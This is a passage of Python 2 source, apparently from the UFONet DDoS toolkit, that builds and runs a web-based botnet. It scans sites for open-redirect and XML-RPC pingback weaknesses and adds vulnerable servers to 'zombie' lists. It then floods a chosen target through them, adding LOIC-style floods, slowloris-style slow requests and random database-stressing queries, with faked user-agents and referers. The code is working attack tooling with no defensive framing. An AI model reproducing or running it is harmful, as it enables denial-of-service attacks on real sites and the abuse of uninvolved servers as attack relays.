  2137. f = open(self.zombies_file)
  2138. zombies = f.readlines()
  2139. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  2140. f.close()
  2141. if not zombies:
  2142. print "\n[Error] - Imposible to retrieve 'zombies' from file.\n"
  2143. return
  2144. else:
  2145. return zombies
  2146. except:
  2147. if os.path.exists(self.zombies_file) == True:
  2148. print '\n[Error] - Cannot open:', 'zombies.txt', "\n"
  2149. return #sys.exit(2)
  2150. else:
  2151. print '\n[Error] - Cannot found:', 'zombies.txt', "\n"
  2152. return #sys.exit(2)
  2153. def update_zombies(self, zombies_ready):
  2154. # update zombies on file
  2155. options = self.options
  2156. if options.attackme:
  2157. f = open(self.zombies_file, "w") # re-write list
  2158. for zombie in self.doll.real_zombies: # add only alien verified zombies
  2159. for x in zombie:
  2160. f.write(str(x) + os.linesep)
  2161. f.close()
  2162. if options.test or options.testall:
  2163. if not options.test:
  2164. options.test = self.zombies_file
  2165. f = open(options.test, "w") # re-write list only with zombies ready
  2166. for zombie in zombies_ready:
  2167. f.write(zombie + os.linesep)
  2168. f.close()
  2169. if options.search or options.dorks or options.autosearch or options.download: # append only new zombies to list (dorking supported)
  2170. f = open(self.zombies_file)
  2171. zombies_on_file = f.read().splitlines()
  2172. with open(self.zombies_file, "a") as zombie_list:
  2173. for zombie in zombies_ready:
  2174. if zombie not in zombies_on_file: # parse possible repetitions
  2175. zombie_list.write(zombie + os.linesep)
  2176. if options.download:
  2177. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2178. else:
  2179. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  2180. f.close()
  2181. def update_aliens(self, aliens_ready):
  2182. # update aliens on file
  2183. options = self.options
  2184. if options.download: # append only new aliens to list
  2185. f = open(self.aliens_file)
  2186. aliens_on_file = f.read().splitlines()
  2187. with open(self.aliens_file, "a") as alien_list:
  2188. for alien in aliens_ready:
  2189. if alien not in aliens_on_file: # parse possible repetitions
  2190. alien_list.write(alien + os.linesep)
  2191. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2192. f.close()
  2193. def update_droids(self, droids_ready):
  2194. # update droids on file
  2195. options = self.options
  2196. if options.download: # append only new droids to list
  2197. f = open(self.droids_file)
  2198. droids_on_file = f.read().splitlines()
  2199. with open(self.droids_file, "a") as droid_list:
  2200. for droid in droids_ready:
  2201. if droid not in droids_on_file: # parse possible repetitions
  2202. droid_list.write(droid + os.linesep)
  2203. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2204. f.close()
  2205. def update_ucavs(self, ucavs_ready):
  2206. # update ucavs on file
  2207. options = self.options
  2208. if options.download: # append only new ucavs to list
  2209. f = open(self.ucavs_file)
  2210. ucavs_on_file = f.read().splitlines()
  2211. with open(self.ucavs_file, "a") as ucav_list:
  2212. for ucav in ucavs_ready:
  2213. if ucav not in ucavs_on_file: # parse possible repetitions
  2214. ucav_list.write(ucav + os.linesep)
  2215. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2216. f.close()
  2217. def update_rpcs(self, rpcs_ready):
  2218. # update rpcs on file
  2219. options = self.options
  2220. if options.testrpc or options.testall:
  2221. f = open(self.rpcs_file, "w") # re-write list
  2222. for rpc in rpcs_ready: # add only rpc verified zombies
  2223. f.write(rpc + os.linesep)
  2224. f.close()
  2225. if options.download: # append only new rpcs to list
  2226. f = open(self.rpcs_file)
  2227. rpcs_on_file = f.read().splitlines()
  2228. with open(self.rpcs_file, "a") as rpc_list:
  2229. for rpc in rpcs_ready:
  2230. if rpc not in rpcs_on_file: # parse possible repetitions
  2231. rpc_list.write(rpc + os.linesep)
  2232. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  2233. f.close()
  2234. def search_rpc(self, rpc_host):
  2235. rpc_vulnerable = False
  2236. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2237. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2238. try:
  2239. if self.options.testall: # testing_all
  2240. req = urllib2.Request(rpc_host, None, headers)
  2241. rpc_code = urllib2.urlopen(req).read()
  2242. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2243. for link in rpc_links:
  2244. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2245. rpc_pingback_url = link[0]
  2246. rpc_vulnerable = True
  2247. break # found it!
  2248. else: # not any XML-RPC discovering methods are working
  2249. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2250. rpc_vulnerable = False
  2251. else:
  2252. if rpc_host.startswith("http://"):
  2253. rpc_host = rpc_host.replace("http://", "")
  2254. if rpc_host.startswith("https://"):
  2255. rpc_host = rpc_host.replace("https://", "")
  2256. rpc_host = urlparse(rpc_host)
  2257. rpc_path = rpc_host.path.replace("\r", "")
  2258. self.head = True # send HTTP HEAD request searching for: X-Pingback
  2259. reply = self.connect_zombie(rpc_path)
  2260. self.head = False
  2261. if "X-Pingback" in reply: # discovering pingback-enabled resources
  2262. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  2263. rpc_pingback_url = m.group(1) # extract rpc server url
  2264. rpc_vulnerable = True
  2265. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  2266. req_rpc = urllib2.Request(rpc_host, None, headers)
  2267. req_rpc.get_method = lambda : 'GET'
  2268. rpc_code = urllib2.urlopen(req_rpc).read()
  2269. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  2270. for link in rpc_links:
  2271. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  2272. rpc_pingback_url = link[0]
  2273. rpc_vulnerable = True
  2274. break # found it!
  2275. else: # not any XML-RPC discovering methods are working
  2276. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  2277. rpc_vulnerable = False
  2278. except: # something wrong discovering XML-RPC Pingback
  2279. rpc_vulnerable = False
  2280. rpc_pingback_url = False
  2281. return rpc_vulnerable, rpc_pingback_url
  2282. def testing_offline(self):
  2283. # check for zombies offline
  2284. print ("\nChecking for 'zombies' offline!\n")
  2285. print '='*35
  2286. zombies_online = 0
  2287. zombies_offline = 0
  2288. zombies = self.extract_zombies()
  2289. rpcs = self.extract_rpcs()
  2290. aliens = self.extract_aliens()
  2291. droids = self.extract_droids()
  2292. ucavs = self.extract_ucavs()
  2293. try:
  2294. botnet = zombies + rpcs + aliens + droids + ucavs
  2295. except:
  2296. return
  2297. discarded = [] # for discarded zombies
  2298. if not botnet:
  2299. return
  2300. self.head = True
  2301. for zombie in botnet:
  2302. zombie = str(zombie)
  2303. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  2304. zombie_type = 'Zombie'
  2305. elif zombie in rpcs:
  2306. zombie_type = 'XML-RPC'
  2307. elif zombie in aliens:
  2308. zombie_type = 'Alien'
  2309. elif zombie in droids:
  2310. zombie_type = 'Droid'
  2311. elif zombie in ucavs:
  2312. zombie_type = 'UCAV'
  2313. t = urlparse(zombie)
  2314. name_zombie = t.netloc
  2315. if zombie_type == 'Alien': # 'Aliens' are made with keyword ;$POST;
  2316. sep = ';$POST;'
  2317. zombie = zombie.split(sep, 1)[0]
  2318. reply = str(self.connect_zombie(zombie))
  2319. if reply == "200" or reply == "302" or reply == "301" or reply == "401" or reply == "403" or reply == "405" or reply == '500':
  2320. status = "ONLINE!"
  2321. zombies_online = zombies_online + 1
  2322. else:
  2323. status = "NOT Working!"
  2324. zombies_offline = zombies_offline + 1
  2325. print "\nName:", name_zombie
  2326. print "Type: [", zombie_type, "]"
  2327. print "Vector:", zombie
  2328. print "HTTP Code:", reply
  2329. print "STATUS:", status
  2330. print '-'*21
  2331. if status == "NOT Working!": # add to discarded zombies
  2332. if zombie not in discarded:
  2333. discarded.append(zombie)
  2334. print "\n" + '='*52
  2335. print "\n+ Total Botnet:", len(botnet)
  2336. print "\n" + '-'*25 + "\n"
  2337. print " - ONLINE:", zombies_online
  2338. print " - OFFLINE:", zombies_offline, "\n"
  2339. print '='*52 + '\n'
  2340. self.head = False
  2341. if zombies_offline > 0:
  2342. if not self.options.forceyes:
  2343. test_reply = raw_input("Want to update your army? (Y/n)\n")
  2344. print '-'*25 + "\n"
  2345. else:
  2346. test_reply = "Y"
  2347. if test_reply == "n" or test_reply == "N":
  2348. print "Bye!\n"
  2349. return
  2350. else:
  2351. disc_zombies = self.discard_zombies(discarded) # discard zombies from botnet (remove from files)
  2352. print '='*52
  2353. print "\n - DISCARDED:", disc_zombies
  2354. new_botnet = int(len(botnet) - disc_zombies)
  2355. print "\n+ New Total Botnet:", str(new_botnet), "\n"
  2356. print '='*52 + '\n'
  2357. else:
  2358. print "[Info] ALL checked 'zombies' are ONLINE... Exiting!\n"
  2359. def discard_zombies(self, discarded):
  2360. disc_zombies = 0
  2361. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  2362. for l in zombies_list:
  2363. f = open(l, "r+")
  2364. d = f.readlines()
  2365. f.close()
  2366. f = open(l, "w")
  2367. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  2368. f.close()
  2369. return disc_zombies
  2370. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  2371. m = []
  2372. for zombie_disc in discarded:
  2373. if zombie_disc.endswith(os.linesep):
  2374. zombie_disc = zombie_disc.replace(os.linesep, "")
  2375. elif zombie_disc.endswith("\r"):
  2376. zombie_disc = zombie_disc.replace("\r", "")
  2377. elif zombie_disc.endswith("\r" + os.linesep):
  2378. zombie_disc = zombie_disc.replace("\r" + os.linesep, "")
  2379. for z in d:
  2380. if z.endswith(os.linesep):
  2381. z = z.replace(os.linesep, "")
  2382. elif z.endswith("\r"):
  2383. z = z.replace("\r", "")
  2384. elif z.endswith("\r" + os.linesep):
  2385. z = z.replace("\r" + os.linesep, "")
  2386. if z == zombie_disc:
  2387. disc_zombies = disc_zombies + 1
  2388. else:
  2389. if z not in m and z not in discarded:
  2390. m.append(z)
  2391. if not m:
  2392. f.write("")
  2393. else:
  2394. for z in m:
  2395. f.write(z+os.linesep)
  2396. return disc_zombies
  2397. def testing_rpcs(self, rpcs):
  2398. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  2399. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  2400. if self.options.testall: #testing_all
  2401. print '='*51
  2402. print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")
  2403. print '='*51
  2404. num_active_rpcs = 0
  2405. num_failed_rpcs = 0
  2406. rpcs_ready = []
  2407. print "Trying:", len(rpcs)
  2408. print '-'*21
  2409. for rpc in rpcs:
  2410. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2411. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2412. if rpc.startswith("http://") or rpc.startswith("https://"):
  2413. print "Searching 'Pingback' on", rpc
  2414. rpc_host = rpc.replace("/xmlrpc.php", "")
  2415. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  2416. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  2417. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  2418. try:
  2419. req = urllib2.Request(rpc_pingback_url, rpc_methods, headers)
  2420. target_reply = urllib2.urlopen(req, context=self.ctx).read()
  2421. if self.options.verbose:
  2422. print "Reply:", target_reply
  2423. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  2424. print "\n[Info] It looks VULNERABLE !!! ;-)"
  2425. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  2426. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  2427. else:
  2428. print "\n[Info] It is NOT vulnerable..."
  2429. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2430. except:
  2431. print "[Error] X-RPC: " + rpc + " -> FAILED (cannot connect!)"
  2432. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2433. else:
  2434. print "\n[Info] It is NOT vulnerable..."
  2435. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  2436. print '-'*10
  2437. print '='*18
  2438. print "OK:", num_active_rpcs, "Fail:", num_failed_rpcs
  2439. print '='*18
  2440. if self.options.testall: # testing_all
  2441. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  2442. else:
  2443. # update 'rpcs' list
  2444. if num_active_rpcs == 0:
  2445. print "\n[Info] - Not any vulnerable 'rpc' active!\n"
  2446. return #sys.exit(2)
  2447. else:
  2448. if not self.options.forceyes:
  2449. update_reply = raw_input("Want to update your army? (Y/n)")
  2450. print '-'*25
  2451. else:
  2452. update_reply = "Y"
  2453. if update_reply == "n" or update_reply == "N":
  2454. print "\nBye!\n"
  2455. return #sys.exit(2)
  2456. else:
  2457. self.update_rpcs(rpcs_ready)
  2458. if not self.options.upload:
  2459. print "\n[Info] - Botnet updated! ;-)\n"
  2460. def testing(self, zombies):
  2461. # test Open Redirect vulnerabilities on webapps and show statistics
  2462. # HTTP HEAD check
  2463. army = 0
  2464. print ("Are 'they' alive? :-) (HEAD Check):")
  2465. print '='*35
  2466. num_active_zombies = 0
  2467. num_failed_zombies = 0
  2468. active_zombies = []
  2469. print "Trying:", len(zombies)
  2470. print '-'*21
  2471. for zombie in zombies:
  2472. zombie = str(zombie)
  2473. if zombie.startswith("http://") or zombie.startswith("https://"):
  2474. # send HEAD connection
  2475. self.head = True
  2476. reply = self.connect_zombies(zombie)
  2477. while self.herd.no_more_zombies() == False:
  2478. time.sleep(1)
  2479. for zombie in self.herd.done:
  2480. zombie = str(zombie)
  2481. t = urlparse(zombie)
  2482. if self.herd.get_result(zombie):
  2483. code_reply = self.herd.get_result(zombie)
  2484. self.head = False
  2485. if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":
  2486. name_zombie = t.netloc
  2487. print "Zombie:", name_zombie
  2488. print "Status: Ok ["+ code_reply + "]"
  2489. num_active_zombies = num_active_zombies + 1
  2490. active_zombies.append(zombie)
  2491. elif code_reply == "404":
  2492. print "Zombie:", t.netloc
  2493. print "Status: Not Found ["+ code_reply + "]"
  2494. num_failed_zombies = num_failed_zombies + 1
  2495. else:
  2496. print "Zombie:", t.netloc, "\nVector:", zombie
  2497. print "Status: Not Allowed ["+ code_reply + "]"
  2498. num_failed_zombies = num_failed_zombies + 1
  2499. else:
  2500. if self.options.verbose:
  2501. print "Reply:", "\n\nNothing!!!!!\n"
  2502. print "Zombie:", zombie
  2503. print "Status: Malformed!"
  2504. num_failed_zombies = num_failed_zombies + 1
  2505. print '-'*10
  2506. self.herd.reset()
  2507. print '='*18
  2508. print "OK:", num_active_zombies, "Fail:", num_failed_zombies
  2509. print '='*18 + "\n"
  2510. print '='*22
  2511. # check url parameter vectors
  2512. print ("Checking for payloads:")
  2513. print '='*22
  2514. print "Trying:", num_active_zombies
  2515. print '-'*21
  2516. zombies_ready = []
  2517. num_waiting_zombies = 0
  2518. if num_active_zombies == 0:
  2519. num_disconnected_zombies = num_failed_zombies
  2520. else:
  2521. num_disconnected_zombies = 0
  2522. for zombie in active_zombies:
  2523. zombie = str(zombie)
  2524. t = urlparse(zombie)
  2525. name_zombie = t.netloc
  2526. self.payload = True
  2527. try:
  2528. self.connect_zombies(zombie)
  2529. except:
  2530. pass
  2531. self.payload = False
  2532. time.sleep(1)
  2533. while self.herd.no_more_zombies() == False:
  2534. time.sleep(1)
  2535. for zombie in self.herd.done:
  2536. zombie = str(zombie)
  2537. t = urlparse(zombie)
  2538. name_zombie = t.netloc
  2539. payload_zombie = zombie
  2540. payload_reply = ""
  2541. print "Vector:", payload_zombie
  2542. self.payload = True
  2543. if self.herd.get_result(zombie):
  2544. payload_reply = self.herd.get_result(zombie)
  2545. self.payload = False
  2546. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  2547. num_waiting_zombies = num_waiting_zombies + 1
  2548. print "Status:", "Waiting for orders..."
  2549. zombies_ready.append(zombie)
  2550. else:
  2551. num_disconnected_zombies = num_disconnected_zombies + 1
  2552. print "Status:", "Not ready..."
  2553. army = army + 1
  2554. print '-'*10
  2555. self.herd.reset()
  2556. print '='*18
  2557. print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies
  2558. print '='*18 + "\n"
  2559. # list of 'zombies' ready to attack
  2560. num_active_zombie = 0
  2561. for z in zombies_ready:
  2562. t = urlparse(z)
  2563. name_zombie = t.netloc
  2564. num_active_zombie = num_active_zombie + 1
  2565. if self.options.verbose:
  2566. print "Zombie [", num_active_zombie, "]:", name_zombie + "\n"
  2567. if self.options.testall: # testing_all
  2568. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  2569. else:
  2570. print '-'*25 + "\n"
  2571. print '='*24
  2572. print "Working 'zombies':", num_active_zombie
  2573. print '='*24
  2574. if not self.options.forceyes:
  2575. update_reply = raw_input("\nWant to update your army? (Y/n)")
  2576. print '-'*25
  2577. else:
  2578. update_reply = "Y"
  2579. if update_reply == "n" or update_reply == "N":
  2580. print "\nBye!\n"
  2581. return #sys.exit(2)
  2582. else:
  2583. self.update_zombies(zombies_ready)
  2584. if not self.options.upload:
  2585. print "\n[Info] - Botnet updated! ;-)\n"
  2586. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  2587. def testing_all(self):
  2588. # test whole botnet
  2589. print ("\nChecking if ALL your zombies are still infected (WARNING: this may take serveral time!)\n")
  2590. print '='*35
  2591. zombies = self.extract_zombies()
  2592. rpcs = self.extract_rpcs()
  2593. aliens = self.extract_aliens()
  2594. droids = self.extract_droids()
  2595. ucavs = self.extract_ucavs()
  2596. try:
  2597. botnet = zombies + rpcs + aliens + droids + ucavs
  2598. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  2599. except:
  2600. return
  2601. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  2602. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  2603. print "\n" + '='*52
  2604. print "\n+ Total Botnet:", len(botnet)
  2605. print "\n" + '-'*25
  2606. print "\n+ Total Tested:", len(tested_zombies)
  2607. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  2608. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  2609. print '='*52 + '\n'
  2610. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  2611. if not self.options.forceyes:
  2612. update_reply = raw_input("Want to update your army? (Y/n)")
  2613. print '-'*25
  2614. else:
  2615. update_reply = "Y"
  2616. if update_reply == "n" or update_reply == "N":
  2617. print "\nBye!\n"
  2618. return #sys.exit(2)
  2619. else:
  2620. if num_disconnected_zombies > 0:
  2621. self.update_zombies(zombies_ready)
  2622. if num_failed_rpcs > 0:
  2623. self.update_rpcs(rpcs_ready)
  2624. if not self.options.upload:
  2625. print "\n[Info] - Botnet updated! ;-)\n"
  2626. else:
  2627. print "[Info] ALL tested 'zombies' are working... Exiting!\n"
  2628. def attacking(self, zombies):
  2629. # perform a DDoS Web attack against a target, using Open Redirect vectors (and other Web Abuse services) as 'zombies'
  2630. target = self.options.target
  2631. if target.startswith("https://"):
  2632. target = target.replace("https://", "http://") # change target to 'http' (to evade a possible invalid SSL certificate)
  2633. if target.startswith("http://"):
  2634. print "Attacking: ", target
  2635. print '='*55, "\n"
  2636. # send Open Redirect injection (multiple zombies > one target url)
  2637. reply = self.injection(target, zombies)
  2638. else:
  2639. print "\n[Error] - Target url not valid! -> It should starts with 'http(s)://'\n"
  2640. def stressing(self, target, zombie):
  2641. # perform a DDoS Web attack against a target, requesting records on target's database
  2642. db_input = self.options.dbstress
  2643. def random_key(length):
  2644. key = ''
  2645. for i in range(length):
  2646. key += random.choice(string.lowercase + string.uppercase + string.digits)
  2647. return key
  2648. # generating random alphanumeric queries
  2649. if self.db_flash > 9: # set db flash start on: 10
  2650. length = 1024 # search a heavy random length query (db flash): 1024
  2651. self.db_flash = 0 # reset db flash counter
  2652. else:
  2653. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  2654. key = str(random_key(length))
  2655. if self.db_flash > 9:
  2656. print "\n[Info] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  2657. else:
  2658. print "\n[Info] Trying database request to: " + db_input + " | Query used: " + key
  2659. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2660. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2661. if not target.endswith('/'): # add "/" to end of target
  2662. target = target + "/"
  2663. url = zombie + target + db_input + key
  2664. req = urllib2.Request(url, None, headers)
  2665. try:
  2666. req_reply = urllib2.urlopen(req).read()
  2667. except urllib2.HTTPError, e:
  2668. if e.code == 401:
  2669. print '[Info] Not authorized'
  2670. elif e.code == 404:
  2671. print '[Info] Not found'
  2672. elif e.code == 503:
  2673. print '[Info] Service unavailable'
  2674. else:
  2675. print '[Info] Unknown error'
  2676. else:
  2677. print '[Info] DB query: Hit!'
  2678. def attackme(self, zombies):
  2679. # perform a DDoS Web attack against yourself
  2680. print "Starting local port to listening at: " + self.port + "\n"
  2681. print '='*21 + "\n"
  2682. self.doll=Doll(self)
  2683. self.doll.start()
  2684. while not self.doll._armed:
  2685. time.sleep(1)
  2686. # send Open Redirect injection (multiple zombies-multiple target urls)
  2687. target = ""
  2688. self.injection(target, zombies)
  2689. self.doll.shutdown()
  2690. self.doll.join()
  2691. self.herd.list_fails()
  2692. def injection(self, target, zombies, head_check = True):
  2693. options = self.options
  2694. head_check_here = False
  2695. head_check_external = False
  2696. print '='*21
  2697. if options.disablehead: # check at start is disabled (skipping!)
  2698. print "\n[Info] Skipping external check of target's status...\n"
  2699. head_check_here = True
  2700. head_check_external = True
  2701. else:
  2702. if head_check:
  2703. if not options.attackme:
  2704. print "Round: 'Is target up?'"
  2705. print '='*21
  2706. try: # send HEAD connection
  2707. self.head = True
  2708. reply = self.connect_zombie(target)
  2709. self.head = False
  2710. if reply:
  2711. print "[Info] From here: YES"
  2712. head_check_here = True
  2713. else:
  2714. print "[Info] From Here: NO | Report: From here your target looks DOWN!"
  2715. head_check_here = False
  2716. except Exception:
  2717. print "[Error] From Here: NO | Report: Check failed from your connection..."
  2718. if self.options.verbose:
  2719. traceback.print_exc()
  2720. head_check_here = False
  2721. else: # check if local IP/PORT is listening on mothership
  2722. print "Round: 'Is NAT ready?'"
  2723. print '='*21
  2724. try:
  2725. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  2726. result = sock.connect_ex(('0.0.0.0',8080))
  2727. if result == 0 or result == 110: # tmp black magic
  2728. print "[Info] Local port: YES | Report: Mothership accesible on -private- IP: http://0.0.0.0:8080"
  2729. head_check_here = True
  2730. else:
  2731. print "[Error] Local port: NO | Report: Something wrong on your port: 8080"
  2732. head_check_here = False
  2733. except Exception:
  2734. print "[Error] Local port: NO | Report: Something wrong checking open port ;("
  2735. if self.options.verbose:
  2736. traceback.print_exc()
  2737. head_check_here = False
  2738. print '-'*21
  2739. else:
  2740. head_check_here = True
  2741. # check target on third part service
  2742. self.external = True
  2743. if not options.attackme:
  2744. try:
  2745. external_reply = self.connect_zombie(target)
  2746. if "It's just you" in external_reply: # parse from external service: http://www.downforeveryoneorjustme.com
  2747. print "[Info] From exterior: YES"
  2748. head_check_external = True
  2749. else: # parse from external service: http://isup.me
  2750. url = "http://isup.me/" + target
  2751. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2752. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2753. req = urllib2.Request(url, None, headers)
  2754. req_reply = urllib2.urlopen(req).read()
  2755. if 'is up' in req_reply: # parse external service for reply
  2756. print "[Info] From exterior: YES"
  2757. head_check_external = True
  2758. else:
  2759. print "[Info] From exterior: NO | Report: From external services your target looks DOWN!"
  2760. head_check_external = False
  2761. except Exception:
  2762. print "[Error] From exterior: NO | Cannot reach external services from your network..."
  2763. head_check_external = False
  2764. else:
  2765. try: # check mothership from public ip / NAT using HEAD request
  2766. try:
  2767. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  2768. conn.request("HEAD", "/")
  2769. reply = conn.getresponse()
  2770. except Exception:
  2771. reply = None
  2772. if reply:
  2773. print "[Info] From exterior: YES | Report: Mothership accesible from Internet ;-)"
  2774. head_check_external = True
  2775. else:
  2776. print "[Error] From exterior: NO | Report: Cannot access to mothership on -public- url:", target
  2777. head_check_external = False
  2778. head_check_here = False # stop attack if not public IP available
  2779. except Exception:
  2780. print "[Error] From exterior: NO | Report: Check failed from your connection..."
  2781. head_check_here = False # stop attack if not public IP available
  2782. if self.options.verbose:
  2783. traceback.print_exc()
  2784. head_check_external = False
  2785. print '-'*21
  2786. self.external = False
  2787. # ask for start the attack
  2788. if head_check_here == True or head_check_external == True:
  2789. if not self.options.forceyes:
  2790. if not options.attackme:
  2791. if not options.disablehead:
  2792. start_reply = raw_input("[Info] Your target looks ONLINE!. Want to start a DDoS attack? (y/N)\n")
  2793. else:
  2794. start_reply = raw_input("[Info] Want to start a DDoS attack directly? (y/N)\n")
  2795. else:
  2796. if not options.disablehead:
  2797. start_reply = raw_input("[Info] Your mothership looks READY!. Want to start a DDoS attack against yourself? (y/N)\n")
  2798. else:
  2799. start_reply = raw_input("[Info] Want to start a DDoS attack against yourself directly? (y/N)\n")
  2800. else:
  2801. start_reply = "Y"
  2802. if start_reply == "y" or start_reply == "Y":
  2803. if options.attackme:
  2804. total_rounds = "2" # default rounds for attackme
  2805. else:
  2806. total_rounds = options.rounds # extract number of rounds
  2807. if total_rounds <= "0":
  2808. total_rounds = "1"
  2809. self.herd.cleanup()
  2810. num_round = 1
  2811. num_hits = 0
  2812. num_zombie = 1
  2813. # start multi-threading DoS Web LOIC (Low Orbit Ion Cannon) with proxy support, if required
  2814. if self.options.loic:
  2815. try:
  2816. self.options.loic = int(self.options.loic)
  2817. except:
  2818. self.options.loic = 100 # default LOIC requests
  2819. if self.options.loic < 1:
  2820. self.options.loic = 100 # default LOIC requests
  2821. self.instance = LOIC() # instance main class for LOIC operations
  2822. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, self.options.proxy)) # attack with LOIC
  2823. t.daemon = True
  2824. t.start()
  2825. self.update_loic_stats() # add new LOIC attack to mothership
  2826. # start multi-threading DoS Slow+Poison HTTP requests (UFOLoris)
  2827. if self.options.slow:
  2828. try:
  2829. self.options.slow = int(self.options.slow)
  2830. except:
  2831. self.options.slow = 101 # default UFOLoris requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  2832. if self.options.slow < 1:
  2833. self.options.slow = 101 # default UFOLoris requests
  2834. self.instance = LORIS() # instance main class for UFOLoris operations
  2835. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.slow)) # attack with UFOLoris
  2836. t.daemon = True
  2837. t.start()
  2838. self.update_loris_stats() # add new LORIS attack to mothership
  2839. time.sleep(5)
  2840. # start to attack the target with each zombie
  2841. zombies = self.extract_zombies() # extract zombies from file
  2842. total_zombie = len(zombies)
  2843. self.herd=Herd(self)
  2844. for i in range(0, int(total_rounds)):
  2845. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  2846. print '='*42
  2847. print 'Starting round:', num_round, ' of ', total_rounds
  2848. print '='*42
  2849. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  2850. send_aliens = self.send_aliens(target)
  2851. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  2852. send_droids = self.send_droids(target)
  2853. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  2854. send_rpcs = self.send_rpcs(target)
  2855. shuffle(zombies) # suffle zombies order, each round :-)
  2856. self.herd.reset()
  2857. print "\n[Info] Sending your 'herd' of zombies...\n"
  2858. for zombie in zombies:
  2859. t = urlparse(zombie)
  2860. name_zombie = t.netloc
  2861. if not self.options.attackme:
  2862. print "[Info] Attacking from: " + name_zombie
  2863. else: # on attackme target url is dynamic -> http://public_ip:port/hash|zombie
  2864. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  2865. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  2866. self.options.target = target
  2867. print "Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  2868. print "Payload: " + target
  2869. print '='*55, "\n"
  2870. self.attack_mode = True
  2871. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  2872. if not options.target.startswith('http'):
  2873. options.target = "http://" + options.target
  2874. self.connect_zombies(zombie)
  2875. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  2876. self.db_flash = self.db_flash + 1
  2877. stress = self.stressing(target, zombie)
  2878. time.sleep(1)
  2879. for zombie in self.herd.done:
  2880. if self.herd.connection_failed(zombie) == False:
  2881. num_hits = num_hits + 1
  2882. num_zombie = num_zombie + 1
  2883. if num_zombie > total_zombie:
  2884. num_zombie = 1
  2885. while self.herd.no_more_zombies() == False:
  2886. time.sleep(1)
  2887. num_round = num_round + 1
  2888. if not self.options.disableisup and not self.options.attackme: # perform an external 'is target up?' check
  2889. check_is_up = self.check_is_up(target)
  2890. print "-"*21
  2891. self.herd.dump_html()
